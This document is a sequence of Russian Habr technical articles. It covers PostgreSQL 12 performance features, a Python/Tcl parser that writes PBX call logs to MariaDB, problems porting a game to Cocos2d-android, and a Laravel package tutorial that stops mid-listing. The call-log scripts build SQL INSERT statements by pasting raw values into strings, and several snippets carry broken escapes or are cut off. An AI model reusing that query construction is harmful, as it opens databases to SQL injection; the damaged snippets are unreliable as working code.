В PostgreSQL 12 есть и другие улучшения инфраструктуры индексирования. Еще одна штука, где не обошлось без волшебства, — [журнал упреждающей записи](https://www.postgresql.org/docs/current/wal-intro.html), он же WAL (write-ahead log). Журнал упреждающей записи записывает каждую транзакцию в PostgreSQL на случай сбоя и репликации. Приложения используют его для архивации и [восстановления на момент времени](https://info.crunchydata.com/blog/pgbackrest-point-in-time-recovery-using-crunchy-postgresql-operator). Конечно, журнал упреждающей записи записывается на диск, а это может отразиться на производительности.
В PostgreSQL 12 сократились издержки записей WAL, которые создаются индексами GiST, GIN и SP-GiST при построении индекса. Это дает несколько ощутимых преимуществ: записи WAL занимают меньше места на диске, а данные быстрее воспроизводятся, например во время восстановления после сбоя или восстановления на момент времени. Если вы используете такие индексы в своих приложениях (например, геопространственные приложения на основе PostGIS много используют индекс GiST), это еще одна фича, которая значительно улучшит работу безо всяких усилий с вашей стороны.
### Секционирование — больше, лучше, быстрее
В PostgreSQL 10 появилось [декларативное секционирование](https://www.postgresql.org/docs/current/ddl-partitioning.html). В PostgreSQL 11 его стало гораздо проще использовать. В PostgreSQL 12 можно менять масштаб секций.
В PostgreSQL 12 производительность системы секционирования стала значительно лучше, особенно если в таблице тысячи секций. Например, если запрос затрагивает всего несколько секций в таблице, где их тысячи, он будет выполняться гораздо быстрее. Производительность улучшена не только для таких типов запросов. Еще вы заметите, как ускорились операции INSERT в таблицах со множеством секций.
Запись данных с помощью [COPY](https://www.postgresql.org/docs/current/sql-copy.html) — кстати, это отличный способ [массовой загрузки данных](https://info.crunchydata.com/blog/fast-csv-and-json-ingestion-in-postgresql-with-copy) и вот пример [приема JSON](https://info.crunchydata.com/blog/fast-csv-and-json-ingestion-in-postgresql-with-copy) — в секционированные таблицы в PostgreSQL 12 тоже стала эффективнее. С COPY и так все было быстро, а в PostgreSQL 12 совсем летает.
Благодаря этим преимуществам в PostgreSQL можно хранить наборы данных еще большего размера, а извлекать их стало проще. И никаких усилий с вашей стороны. Если у приложения много секций, например, оно записывает данные временных рядов, простой апгрейд значительно улучшит его производительность.
И хотя это улучшение не совсем из категории «апгрейднули и радуемся», в PostgreSQL 12 можно создавать внешние ключи, которые ссылаются на секционированные таблицы, чтобы работа с секционированием приносила одно удовольствие.
### Запросы WITH стали гораздо лучше
Когда [был применен патч для встроенных обобщенных табличных выражений](https://git.postgresql.org/gitweb/?p=postgresql.git;a=commitdiff;h=608b167f9f9c4553c35bb1ec0eab9ddae643989b) (они же CTE, они же запросы WITH), мне не терпелось написать статью о том, [как обрадовались разработчики приложений с PostgreSQL](https://info.crunchydata.com/blog/with-queries-present-future-common-table-expressions). Это одна из тех фич, которые ускорят приложение. Если, конечно, вы используете CTE.
Я часто замечаю, что новички в SQL любят использовать CTE: если написать их определенным образом, прямо чувствуешь, что пишешь императивную программу. Лично я любил переписывать эти запросы, чтобы обойтись *без* CTE и увеличить производительность. Сейчас все иначе.
PostgreSQL 12 позволяет встраивать определенный тип CTE без побочных эффектов (`SELECT`), который используется только один раз ближе к концу запроса. Если бы я вел статистику запросов с CTE, которые я переписывал, большинство из них попали бы в эту категорию. Это помогает разработчикам писать понятный код, который теперь еще и быстро работает.
Более того, PostgreSQL 12 оптимизирует выполнение SQL сам, вам не придется ничего делать. И хотя теперь, наверное, мне не нужно будет оптимизировать такие запросы, здорово, что PostgreSQL продолжает работать над оптимизацией запросов.
### Just-in-Time (JIT) — теперь по умолчанию
В системах PostgreSQL 12 с поддержкой [LLVM](https://llvm.org/) JIT-компиляция включена по умолчанию. Во-первых, вы получаете поддержку [JIT](https://www.postgresql.org/docs/current/jit.html) для некоторых внутренних операций, а во-вторых, запросы с выражениями (самый простой пример — x + y) в списках выбора (которые стоят у вас после SELECT), агрегатами, выражениями с предложениями WHERE и другими могут использовать JIT для повышения производительности.
Раз JIT включен в PostgreSQL 12 по умолчанию, производительность улучшится сама по себе, но я советую потестить приложение в PostgreSQL 11, где только появился JIT, чтобы измерить производительность запросов и узнать, нужно ли что-нибудь настраивать.
### А как же остальные новые фичи PostgreSQL 12?
В PostgreSQL 12 уйма новых классных фич — от возможности изучать данные JSON с помощью стандартных выражений маршрута SQL/JSON до многофакторной аутентификации с параметром `clientcert=verify-full`, создаваемых столбцов и многого другого. Хватит на отдельный пост.
Как и PostgreSQL 10, PostgreSQL 12 повысит общую производительность сразу после апгрейда. У вас, конечно, может быть свой путь — протестируйте приложение при схожих условиях в рабочей системе, прежде чем включать улучшения, как это сделал я с PostgreSQL 10. Даже если PostgreSQL 12 уже сейчас стабильнее, чем я предполагал, не ленитесь качественно тестировать приложения, прежде чем выпускать их в продакшен. | https://habr.com/ru/post/466727/ | null | ru | null |
# Всё познаётся в сравнении, или реализация одной простенькой задачи на python и tcl
В силу исторических причин, у нас в конторе, используется старенькая АТС Panasonic TDA200. И, как известно, журнал звонков она выводит в последовательный порт, для чтения данных из которого, на сервере использовалась одна программулька. У этого ПО есть ряд ограничений, делающий его использование неудобным (размер лог-файла, размер БД) и дабы побороть эти недостатки и в силу природной лени (чтобы избежать постоянной очистки лога и БД вручную) было решено набыдлокодить что-то своё. А так как, уже давно, на глаза попадается слово «python» да и пытливый ум периодически просыпается, то решено было данную задачу реализовать на этом языке и попутно на, хорошо мне знакомом, tcl. Ну а результатами решил поделиться с обществом. Да, сразу замечу, что задача решена и сервис доведён до «промышленной» эксплуатации. Для хранения данных используется СУБД MariaDB (оно уже было), в качестве хост-системы CentOS 7.
И ещё одно замечание — питонист из меня ещё тот, поэтому за качество кода пинать можно но не сильно. Примеры кода будут приводиться в таком порядке: сперва питон потом тикль, описание процедур и команд будет идти в порядке необходимом для понимания работы скриптов, а не так как они записаны в коде.
*Python*
```
import pymysql
import sys, os
import re
import datetime
# параметры соединения с СУБД
db_host = 'host'
db_user = 'dbuser'
db_pass = 'dbpass'
out_dir = '/var/log/ats'
```
*Tcl*
```
package require mysqltcl
# параметры соединения с СУБД
#set db(host) "host"
#set db(user) "user"
#set db(pass) "password"
#set db(dbname) "ats_test"
#set out_dir "~/tmp/ats"
```
Тут в общем всё понятно — импортируем нужные и не очень модули, и инициализируем переменные. Но в примере на tcl строки закоментированы (эти строки нужно вынести в другой файл см. под спойлер), ниже будет ясно почему.
**config.tcl**
```
# параметры соединения с СУБД
set db(host) "host"
set db(user) "user"
set db(pass) "password"
set db(dbname) "ats_test"
set out_dir "~/tmp/ats"
```
Скрипт может обрабатывать данные из текстового файла и напрямую из последовательного порта, для этого добавлены ключи для запуска, соответсвенно *-port* — чтение из порта, *-file* — чтение из файла:
```
if __name__ == "__main__":
if len(sys.argv) > 2:
if sys.argv[1] == '-port':
#action = 'read_port'
port_name = sys.argv[2]
port_data_read(port_name)
if sys.argv[1] == '-file':
#action = 'read_file'
log_file_name = sys.argv[2]
log = open(log_file_name)
for line in log:
parce_string(line)
log.close()
else:
print ("\nФормат вызова:\n- для обработки файла\
\n # python data_reader.py -file TDA20013082015_12052016.lg\
\n- для чтения данных напрямую с com-порта АТС\
\n # python data_reader.py -port /dev/ttyUSB0\n")
sys.exit(1)
```
В tcl-скрипте добавлена еще одна опция *-conf*, тестирование кода проводилось на рабочем сервере, и корячить туда помимо питона ещё и тикль, было уже черезчур. И по сему, пришлось собирать «экзешник» по принципу «всё включено» а чтобы обеспечить гибкость настроек и была добавлена эта опция (да и так правильнее).
```
# Обработка ключей командной сроки
if {[llength $argv] >= 2} {
if {[lindex $argv 0] == "-conf"} {
source [lindex $argv 1]
} else {
puts "Не указан конфигурационный файл"
}
if {[lindex $argv 2] == "-port"} {
set port_name [lindex $argv 3]
PortDataRead $port_name
}
if {[lindex $argv 2] == "-file"} {
set log_file_name [lindex $argv 3]
set log [open $log_file_name "r"]
# проверям наличие каталога и если его нет то создаём
if {[file isdirectory $out_dir] == 0} {
file mkdir $out_dir
}
# читаем файл построчно
while {[gets $log line] >= 0} {
ParceString $line
}
close $log
}
} else {
puts "\nФормат вызова:\n- для обработки файла\
\n # -conf config.tcl
\n # tclsh logger.tcl -conf config.tcl -file TDA20013082015_12052016.lg\
\n- для чтения данных напрямую с com-порта АТС\
\n # tclsh logger.tcl -conf config.tcl -port /dev/ttyUSB0\n"
exit
}
```
Идём дальше. Функции работы с последовательным портом:
```
def port_data_read(port_name):
global out_dir
"""Чтение данных из последовательного порта"""
import serial
ser = serial.Serial(port_name)
ser.baudrate = 9600
while True:
# читаем строку из порта
line = ser.readline()
# декодируем строку в текстовый формат
line = line.decode()
# обрезаем лишние пробельные символы
line = line.rstrip()
# отдаём процедуре обработки строки
parce_string(line)
```
В tcl операции работы с файлами или портами используются одни и те же. Т.е. сперва создаётся так называемый pipe (труба или канал) командой *open* потом уже из этой «трубы» читаются данные или записываются туда, будь то файл или последовательный порт.
```
# читаем данные из порта
proc PortDataRead {portName} {
global fh
# открываем порт в режииме "только чтение"
set fh [open $portName RDONLY]
# настраиваем канал в неблокирующем режиме и соответсвующими параметрами порта
fconfigure $fh -blocking 0 -buffering line -mode 9600,n,8,1 -translation crlf -eofchar {}
# "навешиваем" событие
fileevent $fh readable Read
vwait forever
}
# читаем строку из порта и отправляем на обработку
proc Read {} {
global fh
if {[gets $fh line] >= 0} {
ParceString $line
}
}
```
Команда
```
fileevent $fh readable Read
```
позволяет навешивать на канал событие, точнее реакцию на событие, в данном случае мы указали, что при появлении каких-то данных в канале выполнять процедуру *Read*.
Вот и подошли к ключевому моменту — разбору строки. АТС «выбрасывает» данные ввиде строки где поля разделены пробелами, точнее, для каждого поля задан размер в символах и отсутствующие данные добиваются пробелами:
```
30/09/16 10:44 501 01 *0'00 00:00'13 D0*
```
Код функции на питоне:
```
def parce_string(line):
"""Получает на вход строку и раскидывает её в нужном виде и пишет в файл"""
# тут проверяется строка на ненужный хлам
if line[:3] == "---" or line == "" or line[3:7] == "Date":
print(line)
return
print(line)
# Создаём текстовые файлы на всякий случай, для дублирования информации
now = datetime.datetime.now()
out_log_name = os.path.join(out_dir, '{}_{}'.format(now.month, now.year))
out_log = open(out_log_name,"a+")
out_log.write(line + '\n')
out_log.close()
# Разбор строки
# Преобразуем дату к виду "ДД/ММ/ГГГГ" (с годом решил не мудрствовать а решить в лоб)
call_date = "20{}/{}/{}".format(line[6:8],line[3:5],line[:2])
# выдёргиваем данные и обрезаем лишние пробелы
call_time = line[9:14].strip()
int_number = line[19:22].strip()
ext_co_line = line[23:25].strip()
dial_number = line[26:51].strip()
ring = line[52:56].strip()
call_duration = re.sub("'", ":", line[57:65].strip())
acc_code = line[66:77].strip()
call_code = line[77:81].strip()
# Проверяем признак входящщего звонка
if dial_number == "*":
call\_direct = "Входящий"
dial\_number = ""
elif dial\_number[:3] == "EXT":
call\_direct = "Внутренний"
dial\_number = dial\_number[3:]
else: call\_direct = "Исходящий"
# отправлем в процедуру добавление в БД
insert(call\_date=call\_date,
call\_time=call\_time,
int\_number=int\_number,
ext\_co\_line=ext\_co\_line,
dial\_number=dial\_number,
ring=ring,
call\_duration=call\_duration,
acc\_code=acc\_code,
call\_code=call\_code,
call\_direct=call\_direct)*
```
В строковых функциях между питом и тиклем есть некоторые различия, к примеру *line[9:14]* вернёт содержимое строки начиная с 9 и кончая 13 символом включительно, т.е. в качестве правой границы указывается следующий за значимым символ. В tcl, для этой цели, используется команда *[string range $line 9 13]*.
```
proc ParceString {line} {
global out_dir arrVariables
# Получает на вход строку и раскидывает её в нужном виде и пишет в файл
if {[string range $line 0 2] == "---" || $line == "" || [string range $line 3 6] == "Date"} {
#puts $line
return
}
# Создаём текстовые файлы на всякий случай, для дублирования информации
# получим имя файла ввиде ММ_ГГГГ используя цепь вложенных команд clock
set fName [clock format [clock scan "now" -base [clock seconds]] -format %m_%Y]
set out_log_name [file join $out_dir $fName]
set out_log [open $out_log_name "a+"]
puts $out_log "$line"
close $out_log
# Разбор строки
# все данные сохраняются в именованом массиве переменных
# Преобразуем дату к виду "ДД/ММ/ГГГГ"
set arrVariables(call_date) "20[string range $line 6 7]\/[string range $line 3 4]\/[string range $line 0 1]"
set arrVariables(call_time) [string range $line 9 13]
set arrVariables(int_number) [string range $line 19 21]
set arrVariables(ext_co_line) [string range $line 23 24]
set arrVariables(dial_number) [string range $line 26 50]
set arrVariables(ring) [string range $line 52 55]
set arrVariables(call_duration) [string range $line 57 66]
set arrVariables(acc_code) [string range $line 66 76]
set arrVariables(call_code) [string range $line 77 81]
# Проверяем признак входящщего звонка
if {$arrVariables(dial_number) == "*"} {
set arrVariables(call\_direct) "In"
set arrVariables(dial\_number) ""
} elseif {[string range $arrVariables(dial\_number) 0 3] == "EXT"} {
set arrVariables(call\_direct) "Ext"
set arrVariables(dial\_number) [string range $arrVariables(dial\_number) 3 end]
} else {
set arrVariables(call\_direct) "Out"
}
InsertData*
```
В тикле есть такая замечательная штука, как массив переменных, в данном случае это *arrVariables()*, в который сохраняются все данные в соответсвующих переменных, определяемых ключом, к примеру *arrVariables(call\_time)* — это время звонка. Можно было это всё сохранить ввиде списка списков «ключ — значение», на примере предыдущей переменной, это выглядело-бы следющим образом:
```
lappend lstVar [list call_time [string range $line 9 13]]
```
т.е. в список *lstVar* (точнее переменную содержащую список) добавляем список из двух значений *call\_time* и содержимое строки *$line* между 9 и 13 символами включительно.
А теперь добавим строку в БД, структура которой описана ниже:
**Структура таблицы**`CREATE TABLE `cdr` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`call_date` date DEFAULT NULL,
`call_time` time DEFAULT NULL,
`int_number` varchar(11) DEFAULT NULL,
`ext_co_line` char(2) DEFAULT NULL,
`dial_number` varchar(30) DEFAULT NULL,
`ring` varchar(5) DEFAULT NULL,
`call_duration` time DEFAULT NULL,
`acc_code` varchar(20) DEFAULT NULL,
`call_code` char(2) DEFAULT NULL,
`call_direct` varchar(45) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2775655 DEFAULT CHARSET=utf8 COMMENT='Call Data Records';`
Запрос к БД строится динамически на основе параметров переданных в функцию. Из кода, в принципе, всё понятно — форматируем строки в соответствии с требованиями к SQL-запросу, в нужных местах вставляем запятые или скобки и т.д. И так как запрос строится динамически, то в некоторых местах добавляется лишняя запятая и пробел, которые приходится удалять командой *rstrip(', ')* (можно, конечно, считать количество полей и добавлять нужное число запятых, но накладных расходов это не уменьшит и потому сделано так). Так как данные сыпятся ни часто, то на каждую строку данных (один запрос) выполняется одна транзакция, т.е. подключились, выполнили запрос, отключились.
И собсвенно код функции:
```
def insert(**kwargs):
"""Вставка данных в БД. В качестве параметров список полей и значений"""
qwery = 'INSERT INTO `cdr` ('
for key in kwargs.keys():
qwery = "{} `{}`, ".format(qwery,key)
qwery = qwery.rstrip(', ') + ') VALUES('
for key in kwargs.keys():
#qwery = qwery + '"' + kwargs.get(key) +'", '
qwery = "{} \"{}\",".format(qwery,kwargs.get(key))
```
А теперь то же самое на тикле:
```
proc InsertData {} {
global arrVariables db
set qwery "INSERT INTO `cdr` ("
# читаем тот самый массив с параметрами и генерим запрос
foreach key [array names arrVariables] {
set qwery "$qwery `$key`, "
}
set qwery "[string trimright $qwery ", "]\) VALUES\("
foreach key [array names arrVariables] {
set qwery "$qwery \"[string trim $arrVariables($key)]\","
}
set qwery "[string trimright $qwery ", "]\);"
puts $qwery
# подключаемся к БД выполняем запрос и отключаемся
set conn [mysql::connect -host $db(host) -db $db(dbname) -user $db(user) -password $db(pass) -encoding utf-8]
mysql::exec $conn $qwery
mysql::commit $conn
mysql::close $conn
}
```
Вот на этом можно и завершить повествование. На мой взгляд никаких приемуществ, в данном конкретном случае, ни у того ни у другого языка нет (лукавлю слегка, по мне тикль красивше, но это в силу привычки). Сложностей с питоном также не возникает. Исходники тестировались в Centos и Fedore последних версий и Windows 10. Проектик (в части сбора данных) доведён до логического завершения и запущен в работу, есть еще простенькая вэб мордочка со справочником телефонов и отчетами по собранным данным, но это тема другой статьи.
Исходники доступны тут: [Git репозитарий](https://bitbucket.org/svk28/panasonic-log-reader) | https://habr.com/ru/post/335842/ | null | ru | null |
# Сказ о Cocos2d-android
Так уж получилось, что мне пришлось портировать игру с ios. Фреймворк выбирать не пришлось, им стал Cocos2d. До момента использования фреймворка мне довелось почитать отзывы о нем и они настораживали. Но как всегда надеялся на лучшее. И так, о своем опыте портирования и применения данного фреймворка пойдет этот рассказ. Данный пост будет полезен тем, кто присматривается к Cocos2s-android.
#### Мысль о том, как должно быть
По моему скромному мнению, архитектуру любой игры нужно проектировать по наименее зависимой от платформы схеме. К примеру, используя Cocos2dx можно написать кроссплатформенную графическую часть игры(на С++) и затем с минимальными усилиями подключить ее к проекту на любой ОС, поддерживающей данный язык(Android, Symbian, Meego, Bada, про IOS не знаю, но думаю тоже). Конечно, придется столкнуться с особенностями ОС, но усилия будут меньше, чем переписывать код с одного языка на другой и сталкиваться с различиями в порте фреймворка.
#### Как было
А было все совсем иначе. Код был на Obj-C, пришлось портировать на Android на Java(тогда я еще не знал о хотя бы надежде в виде NDK от хабраюзера [crystax](https://habrahabr.ru/users/crystax/)). В интернете можно найти два порта Cocos2d-iphone под Android:
1. [Cocos2d-android](http://code.google.com/p/cocos2d-android/) Хм, ничего толком не скажу про этот проект. Билд от января 2010 года. Пожалуй все!
2. [Cocos2d-android-1](http://code.google.com/p/cocos2d-android-1/) Данный проект утверждает на своей страничке, что проект в пункте 1 развивается слишком медленно, поэтому автор решил создать собственный. Как я понял, был форкнут проект [code.google.com/p/cocos2d-android](http://code.google.com/p/cocos2d-android/) и на его основе пилится версия с приставочкой "-1". Поэтому для работы был выбран именно этот проект.
#### Немного об архитектуре игры и фреймворка
Фреймворк оперирует слоями и сценами. Честно говоря, до сих пор не понимаю в чем заключается разница между ними. Разве что по логике: сцена может включать в себя несколько слоев. Оставим этот вопрос для комментариев экспертов по данному фреймворку.
Признаюсь, игры мне раньше не доводилось разрабатывать. Был только фан-проект и то замахнулись аж на 3D. Поэтому выбранную архитектуру прокомментировать не смогу.
Игра состояла из набора слоев. Управлением и переходами между слоями управляла одна сцена. Вся игра строилась по принципу синглтона. Существует один объект, который хранит в памяти все настройки игры и загруженные данные об уровнях. Данные об уровнях хранятся в xml. Каждый раз при каждом запуске данный файл парсится и создается синглтон, который все это хранит и доступ к которому есть всегда. В проекте существует только одна активити, которая содержит немного подпиленную вьюшку GLSurfaceView:
```
public class MainActivity extends Activity {
private CCGLSurfaceView mGLSurfaceView;
public static float SCREEN_WIDTH = 480;
public static float SCREEN_HEIGHT = 320;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
requestWindowFeature(Window.FEATURE_NO_TITLE);
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN);
getWindow().setFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON,
WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
mGLSurfaceView = new CCGLSurfaceView(this);
CCDirector director = CCDirector.sharedDirector();
director.attachInView(mGLSurfaceView);
director.setDeviceOrientation(CCDirector.kCCDeviceOrientationLandscapeLeft);
SCREEN_WIDTH = director.winSize().width;
SCREEN_HEIGHT = director.winSize().height;
CCDirector.sharedDirector().getActivity().setContentView(mGLSurfaceView);
CCDirector.sharedDirector().setDisplayFPS(true);
CCDirector.sharedDirector().setAnimationInterval(1.0f / 60);
CCScene scene = CCScene.node();
IntroScene intro = new IntroScene();
scene.addChild( intro );
CCDirector.sharedDirector().runWithScene(scene);
}
@Override
public void onPause(){
super.onPause();
CCDirector.sharedDirector().onPause();
}
@Override
public void onResume() {
super.onResume();
CCDirector.sharedDirector().onResume();
}
@Override
public void onDestroy() {
super.onDestroy();
CCDirector.sharedDirector().end();
}
@Override
public void onBackPressed(){
//показываем диалог или возвращаемся на предыдущий слой
}
}
```
Вцелом, типичная архитектура для андроид-приложения и ничего необычного, но в коллбэки добавлены обработчики Cocos2d. Следует отметить, что при использовании 32-битных картинок с градиентом, градиент начинает плыть. Попытки исправить это не к чему не привели. Стандартный способ для андроида(когда переопределяем метод активити onAttachedToWindow и указываем нужную цветовую палитру) не помог. Все исказилось и слетели размеры и цвета. 8-битные картинки тоже не помогли. Хм, такие дела.
#### Проблемы в порте фреймворка, которые вылезли
Первый трабл был описан в пункте выше, а здесь все оставшиеся.
*Слой не отображается на экране.* В практике использования данного фреймворка существует такая схема создания сцены:
```
public class MainScene extends CCLayer {
public MainScene(){
//добавляем текстуры, привязываем обработчики кнопок
}
public static CCScene scene() {
CCScene scene = CCScene.node();
//CCLayer layer = MainScene.node(); //BUG in Cocos
CCLayer layer = new MainScene();
scene.addChild(layer);
return scene;
}
}
```
так вот, в версии фреймворка под ios закоменченная строка есть и прекрасно работает. Я нашел решение в виде создания нового экземпляра сцены, но не факт, что это правильно.
Двигаемся дальше.
Возникла необходимость в создании кастомной вьюшки, которая будет при таче красиво перелистывать уровни игры. В IOS-версии это реализовано просто: наследуется класс от UIScrollView и добавляется поверх вьюшки, отрисовывающей графику(GLSurfaceView). У GLSurfaceView есть метод addView(). *В порте под андроид такого метода нет, да и вообще пожалуй добавить свою вьюшку нельзя никак.* Об этом следует помнить.
*Звук.* При использовании SoundEngine постоянно выскакивает IllegalStateException, который правда перехватывается. На этом пожалуй все. Хотя нет, это ппц! Создается дерево объектов исключений, оно кидается, перехватывается. Да, какая там производительность игры, о чем вы?
*Белая полоса вместо картинки в слое.* В игре использовались кастомные диалоги, которые представляли собой слой, добавленный поверх другого слоя. Ничего необычного. Кроме того, что порой, вместо картинок с кнопками меню выскакивала белая полоса. Код один в один как в ios-версии. Ладно бы это проявлялось на слабых устройствах, но эта штука проявляется и на топовых моделях. В issues на гуглокоде есть проблема, связанная со сборщиком мусора. Сдается мне эта относится к ней же, ибо в логах при сравнении появления данной ошибки появлялась строка со сборкой объектов сборщиком мусора. Либо руки кривые у меня(что вполне вероятно), либо порт не учитывает особенностей архитектуры Андроида.
*Названия методов и классов фреймворка.* Вот что меня удивило так это именование классов и методов в порте. Это веселье просто. Основные классы названы также как и в IOS-версии, но к примеру класс работы со звуком называется иначе(SoundEngine вместо SimpleAudioEngine). Методы потеряли свои приставки, не все конечно, но многие. Сидишь и гадаешь оно или не оно. Смотришь исходники и разбираешься, теряя время. Странное решение выбрал автор, ИМХО.
*Поле \_rotate или любое другое поле класса.* Ничего особенного: полю наследуемого класса присваивается значение угла. Все идентично ios-версии, но спрайт улетал за пределы игрового поля. Несколько часов было потрачено на дебаг и прочие свистопляски. Как оказалось, подобных присваиваний следует избежать. Свойства были заменены на сеттеры и все заработало. Магия портирования да и только!
*Работа алгоритма.* Очень важный пункт. Логика движения главного персонажа была реализована с помощью акселерометра. Довольно стандартный прием. Но появился серьезный баг, который мешал корректному прохождению уровня. Суть в чем: Cocos2d по тику обновляет данные об игре, графику и прочее. Для этого в классе нужно написать метод: public void update( float delta ). И тут снова вступило различие в архитектуре двух ОС. Из-за задержек связанных со сборкой мусора(а она была частой, ибо много объектов, много текстур) delta была огромной и рушила весь алгоритм, что приводило просто к ужасным последствиям. Опытным путем была подобрана нужна дельта для корректной работы алгоритма и если она больше, то она просто усекалась до нужной.
#### Заключение
Из основных моментов, это все. Но следует также добавить, что под Андроид портированы не все классы, а многие уже портированные содержат заглушки. По моему мнению, данный фреймворк далеко не лучший кандидат для разработки игр под Андроид. Есть более удачные кандидаты. Хотя, сколько людей — столько и мнений.
Да прибудет с вами сила!
**UPD**
По просьбе трудящихся указываю БЕСПЛАТНЫЕ фреймворки на которые стоит обратить внимание. Но есть много других. Просто эти содержат больше материалов на StackOverflow и в интернете вцелом.
* [Andengine](http://www.andengine.org/)
* [LibGDX](http://libgdx.badlogicgames.com/)
Про AndEngine помнится уже была серия туториалов на Хабре. Так что самую полезную информацию поможет найти гугл и хабрапоиск. | https://habr.com/ru/post/136968/ | null | ru | null |
# Создание пакета для Laravel
Привет Хабр!
Фреймворк Laravel быстро набирает популярность и уже обрел большую армию фанатов. В этой статье я опишу разработку простого пакета для Laravel, а так же публикацию созданного нами пакета на сайте packagist.org для того, чтобы добавлять наш пакет в проект одной строчкой в composer.json.
#### Итак, о чем все это
Пакеты (packages) — основной способ добавления нового функционала в Laravel, так говорит нам официальная [документация](http://laravel.com/docs/4.2/packages). Мы создадим пакет специально для Laravel, это будет простой блог со списком записей и страницей для просмотра статьи. Мы не ставим целью написать превосходный, универсальный блог с кучей возможностей для кастомизации, мы лишь рассмотрим все тонкости создания пакета, как независимого расширения, которое поможет в будущем избежать дублирования кода в своих проектах, при решении рутинных задач.
*В итоге мы получим [это](http://80.240.131.96/blog)*.
#### Чему мы научимся
* Как создавать пакет, расширяющий функциональность проекта;
* Познакомимся с базовой структурой внутри пакета;
* Разберемся как добавлять свои маршруты;
* Узнаем где хранить шаблоны;
* Покажем composer какие классы нам нужно добавить в автозагрузку;
* Создадим миграции и заполним таблицы начальными данными;
* Сделаем доступными внешние ресурсы (css, js — файлы) пакета.
#### Необходимые инструменты
Я веду разработку под MacOS, использую IDE PhpStorm, а сам сайт будет крутиться на официальном Vagrant боксе — [Homestead](http://laravel.com/docs/4.2/homestead).
На хабре уже были полезные [статьи](http://habrahabr.ru/post/225627/) о том, как настроить Vagrant образ, а так же о том, как [установить](http://habrahabr.ru/post/197454/) сам Laravel.
#### Что же в конечном итоге будет представлять наш пакет
##### У него будет два роута:
* Страница со списком постов;
* Отдельная страница поста.
##### Несколько шаблонов:
* Общий layout блога;
* Страница со списком записей;
* Краткий вид записи в списке постов;
* Полный вид записи.
##### Одна модель Post с полями:
* Заголовок поста
* Уникальная ссылка поста
* Текст записи
* Время создания
* Время обновления
А так же вычисляемое поле cut, где из текста записи берутся первые 120 символов.
В дополнение ко всему, мы создадим класс контроллера, который будет группировать логику отображения страниц, дополнительный файл [составителей](http://laravel.com/docs/4.2/responses#view-composers), для привязки необходимых данных к нашим шаблонам.
В заключении создадим файл миграции таблицы с постами, так же seed класс с некоторым количеством начальных данных.
Опубликуем стили пакета в public-папке приложения.
#### Приступаем к работе
Итак, Laravel установлен, любимая IDE открыта и мы можем начинать.
Пропишем в файле *app/config/workbench.php* параметры **name** и **email**, в дальнейшем они будут использованы в *composer.json* для вашего пакета.
Прописав эти параметры выполните в консоли:
```
php artisan workbench vendor/package --resources
```
Где **vendor** имя поставщика услуг, **package** это имя создаваемого вами пакета.
К примеру мой логин на github — **cherryoff**, а создаваемый пакет я хочу назвать **nbblog**, соответственно я должен выполнить команду:
```
php artisan workbench --resources cherryoff/nbblog
```
Где флаг resourses говорит что необходимо так же создать специфичные для Laravel папки: migrations, views, config и тд
Если все прошло гладко, то в корне проекта вы увидите:
Чтобы Laravel при запуске приложения автоматически подгружал наш пакет нам необходимо в файл *app/config/app.php* в массив *providers* добавить строчку:
```
'Cherryoff\Nbblog\NbblogServiceProvider',
```
Имена классов поставщика услуг следуют схеме **[Package]ServiceProvider**, но перед этим указывается полный namespace класса
#### Структура пакета
В папке src мы можем видеть знакомую структуру папок, названия которых говорят сами за себя.
Заметим, что в папке *src/Cherryoff/Nbblog/* хранится класс нашего поставщика услуг, а так же туда стоит класть все вспомогательные классы нашего пакета.
Посмотрим на класс *NbblogServiceProvider*. Метод **register** будет вызван, как только пакет был зарегистрирован, а метод **boot** вызывается каждый раз перед обработкой запроса.
#### Сосредоточимся на создании блога
Создадим в папке *src*, нашего пакета файл *routes.php* с двумя роутами:
```
Route::get('/blog/', array(
'as' => 'posts_list',
'uses' => 'Cherryoff\Nbblog\NbblogController@showList'
));
Route::get('/blog/{link}', array(
'as' => 'post',
'uses' => 'Cherryoff\Nbblog\NbblogController@showPost'
))->where('link', '[A-Za-z-_]+');
```
Где в качестве контроллера указываем полный путь до нашего еще не созданного контроллера.
Далее в папке *controllers* создадим контроллер **NbblogController** со следующим содержимым:
```
php namespace Cherryoff\Nbblog;
use Illuminate\Support\Facades\App;
use Illuminate\Support\Facades\Config;
use Illuminate\Routing\Controller;
use Illuminate\Support\Facades\Redirect;
use Illuminate\Support\Facades\Response;
use Illuminate\Support\Facades\Request;
use Illuminate\Support\Facades\View;
use Illuminate\Support\Facades\Input;
use Illuminate\Support\Facades\File;
use Illuminate\Support\Facades\Session;
use Illuminate\Support\Facades\URL;
class NbblogController extends Controller {
public function showList()
{
return 'Posts list';
}
public function showPost($link)
{
return 'Get post:'.$link;
}
}
</code
```
Отлично, теперь у нас прописаны пути и контроллер должен отвечать нам простыми сообщениями. Но если мы перейдем по ссылке *[sandbox.local/blog](http://sandbox.local/blog/)*, то получим исключение о том что страница не найдена. Все дело в том, что приложение не знает о том, что у нашего пакета есть свои пути, и чтобы исправить это подключим файл *routes.php* в конце метода boot класса **NbblogServiceProvider**:
```
include __DIR__.'/../../routes.php';
```
Но даже после этого ничего не заработает и мы словим ошибку:
*Class Cherryoff\Nbblog\NbblogController does not exist*
Это признак того, что composer в нашем пакете ничего не знает о только что добавленном контроллере. Чтобы показать composer где искать необходимые файлы, добавим в *composer.json* (нашего пакета!!!) в секцию *classmap* строчку *«src/controllers»*, после чего выполним
```
composer dump-autoload
```
Теперь, если мы перейдем по адресу:
[sandbox.local/blog](http://sandbox.local/blog/)
то увидим строчку:
*Post list*
Ура! Это значит что пути работают, а наш контроллер подцепился!
Далее, создадим папку *models* и файл *Post.php* в ней. Листинг файла представлен ниже:
```
php namespace Cherryoff\Nbblog;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Support\Str;
use Illuminate\Support\Facades\Config;
/**
* Модель записи в блоге
*/
class Post extends Model {
protected $table = 'posts';
//Добавляем в выдачу вычисляемое поле
protected $appends = array('cut');
//Делаем поля доступными для автозаполнения
protected $fillable = array('header', 'link', 'article');
//Некоторые правила валидиции
public static $rules = array(
'header' = 'required|max:256',
